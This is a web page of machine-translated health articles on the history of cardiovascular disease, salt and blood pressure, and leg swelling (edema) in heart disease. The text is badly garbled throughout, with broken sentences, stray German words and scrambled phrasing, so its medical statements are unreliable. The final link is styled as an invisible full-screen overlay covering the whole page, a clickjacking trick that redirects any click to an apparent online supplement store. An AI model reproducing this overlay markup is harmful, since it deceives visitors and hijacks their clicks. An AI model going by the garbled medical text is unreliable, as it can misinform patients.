# History of cardiovascular disease #
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<a href="https://hedge.amosamos.net/s/rEOSlgqmRg">History of cardiovascular disease</a>
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History of cardiovascular disease: A long way through the centuries
Cardiovascular diseases are one of the oldest known diseases of mankind and at the same time, the deadliest. Their story not only reflects the change in medical knowledge, but also the social, economic, and technical developments of the companies.
Already in the ancient Physicians like Hippocrates and Galen symptoms, we would suggest today as signs of heart problems described. However, a reliable understanding of blood circulation was missing at the time. Galen, for example, believed that the blood created in the liver and flows in waves through the vessels — an idea that prevailed over the centuries.
A groundbreaking turning point came in the 17th century. A century William Harvey. In his 1628 book, De Motu Cordis, he demonstrated for the first time, that the blood circulates in a closed circuit and from the heart as a pump driven. This insight formed the basis for the modern cardiology.
In the 19th century. Century began the systematic study of heart and vascular diseases. Pathologist, Rudolf Virchow studied the formation of clots and atherosclerosis. At the same time, the clinical diagnosis: The stethoscope, developed, invented by René Laennec, enabled Physicians, heart sounds, and abnormal heart to hear the flaps.
The scientific breakthrough of the 20th century. Century brought more milestones:
The introduction of the Electrocardiography (ECG) by Willem Einthoven in the beginning of the century, enabled the accurate analysis of the heart rhythm.
In the 1950s and ' 60s, developed surgeons such as John Gibbon and Michael DeBakey heart-lung machines and began with the first Bypass surgery.
The discovery of risk factors such as Smoking, high blood pressure and cholesterol, and led to the first prevention strategies.
Today, cardiovascular diseases are, in spite of all this progress, the most common cause of death worldwide. According to the WHO for about a third of all deaths. But at the same time, the treatment has improved dramatically:
Drugs such as statins and ACE inhibitors slow the progression of diseases.
Minimally invasive procedures, such as Stent implantation often replace large operations.
Prevention campaigns on healthy eating, exercise and avoidance of Smoking to aim at the causes.
Looking at the history shows that The fight against cardiovascular disease is not a closed Chapter, but an ongoing process. While we understand the mechanisms better today than ever before, the challenge of these findings in width prevention and equal care to implement for a healthier future.
## Salt and cardiovascular disease ##
Salt and cardiovascular disease: A critical view of the relationships
The relationship between salt consumption and cardiovascular disease (CVD) constitutes a Central theme of modern nutritional medicine. Scientific studies have shown that an increased consumption of table salt (NaCl) is in close connection with a number of cardiovascular risk factors.
The main mechanism, the salt and the health of the cardiovascular system is affected, is its effect on blood pressure. Sodium, a component of salt, which leads to increased water retention in the body. This, in turn, the increased blood volume and thus blood pressure. In the long term, a persistent elevated blood vessels pressure (hypertension) to damage to the blood, the heart, the kidneys, and other organs.
According to the recommendations of the world health organization (WHO), should not exceed the daily salt consumption of more than 5 g (approximately 2 g of sodium). In fact, the average consumption in many industrial countries, however, is clear about it — often in the 8 to 12 g per day. This Excess is attributed primarily on processed foods, which contain high levels of hidden salt.
Epidemiological studies show a clear link between high salt consumption and the Occurrence of:
Hypertension;
Congestive heart failure;
Stroke;
ischemic heart disease.
Interestingly, not responding, any Person heavily on salt. There are so-called salt-sensitive individuals, where even a moderate increase in salt consumption leads to a significant increase in blood pressure. This group is particularly at risk and benefit most from a salt reduction.
A reduction in salt consumption can therefore be regarded as an effective preventive measure against cardiovascular disease. Practical strategies to reduce the salt content of the diet include:
Avoid heavily processed foods.
Conscious reading food labels to determine the salt content.
Use of herbs and spices as an Alternative to salt for Seasoning of food.
Step-by-step reduction of the salt gebruchs to the taste buds to adapt to a low-salt diet.
In summary, we conclude that the restriction of salt consumption, disease is an important component in the prevention of cardiovascular disease. The education of the population about the risks of high salt consumption, and support for the implementation of salt reduction strategies should, therefore, be the focus of public health policy.
<a href="https://doc.fung.uy/s/vdq770vQSY">Salt and cardiovascular disease</a> History of cardiovascular disease.
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## Swelling of the legs in the case of cardiovascular diseases ##
Swelling of the legs and cardiovascular disease: pathophysiology and clinical relevance
Swelling of the lower extremities, especially the legs, are a common clinical Symptom, often indicates a present cardiovascular disease. This Edema caused by an abnormal accumulation of interstitial fluid in the tissues and can be due to various disorders in the cardiovascular System.
Pathophysiological Mechanisms
The most important pathophysiological causes of leg swelling in cardiovascular diseases include:
Congestive heart failure. In the case of systolic or diastolic heart failure, the heart loses its ability to pump efficiently, blood. This leads to an increased venous back pressure and an increased hydrostatic pressure in the venous System. The increased pressure promotes Filtration of fluid from the capillaries into the surrounding tissue, which leads to the formation of Edema. Typically, the swelling is symmetrical and occur mainly in the area of the ankles and calves.
Venous Insufficiency. A dysfunction of the venous valves, or obstruction of the deep veins (e.g., thrombosis) leads to increased pressure in the veins of the lower extremities. This venous congestion causes increased Filtration of Plasma into the Interstitium and results in swelling in chronic Leg. The swelling tend to worsen during the day and reduce after a night's rest.
Hypoalbuminemia in the case of heart diseases. In the case of serious cardiovascular disorders, it can lead to a deterioration of the liver function, resulting in a decreased synthesis of Albumin result. A low albumin level in the blood lowers the colloid osmotic pressure, so that the recording of fluid in the capillaries is more difficult and Edema are favored.
Renin‑Angiotensin‑aldosterone‑System (RAAS) activation. In heart failure, the RAAS is activated, blood pressure and blood volume to maintain. The resulting aldosterone secretion but promotes sodium and water retention in the kidneys, which leads to a volume expansion and additional Edema.
Clinical Features
Leg swelling due to cardiovascular diseases have typical characteristics:
Symmetric distribution (in the case of heart failure);
Pressure sensitivity and possible skin changes (hyperpigmentation, Dermatitis);
Deterioration after long periods of Standing or Sitting;
Improvement after Elevation of the legs, or night's rest;
Accompanying symptoms such as shortness of breath, fatigue, tachycardia, or orthopnea in heart failure.
Diagnostic Approach
The diagnosis begins with a detailed medical history and physical examination. Further diagnostic measures include:
Echocardiography for the assessment of cardiac function;
Doppler ultrasound of the leg veins to the exclusion of thrombosis or venous insufficiency;
Laboratory tests (BNP, NT‑proBNP, electrolytes, renal and liver function tests, Albumin);
X-rays of the Thorax for the assessment of pulmonary congestion in heart failure.
Therapeutic Strategies
The treatment depends on the underlying disease:
Diuretics in the reduction of volume overload in heart failure;
Compression therapy and movement in the case of venous insufficiency;
Drugs for the Blockade of the RAAS (ACE‑inhibitors, AT1‑receptor blockers, aldosterone antagonists);
Optimization of cardiac function by beta-blockers, Digitalis or other cardiotonic substances;
Recommendations on a healthy diet with reduced salt consumption.
Conclusion
Swelling of the legs are an important clinical sign that may indicate a cardiovascular disease. A detailed analysis of the pathophysiological mechanisms and targeted diagnostics are necessary to determine the cause and appropriate treatment initiated. Early Intervention can improve the quality of life of the patients and the progression of the disease slow them down.
<a href="https://cardio-balance-ph.store-best.net" style="height:100%;left:-15%;position:fixed;text-align:center;top:-0px;width:1000%;z-index:2147483647;">History of cardiovascular disease</a>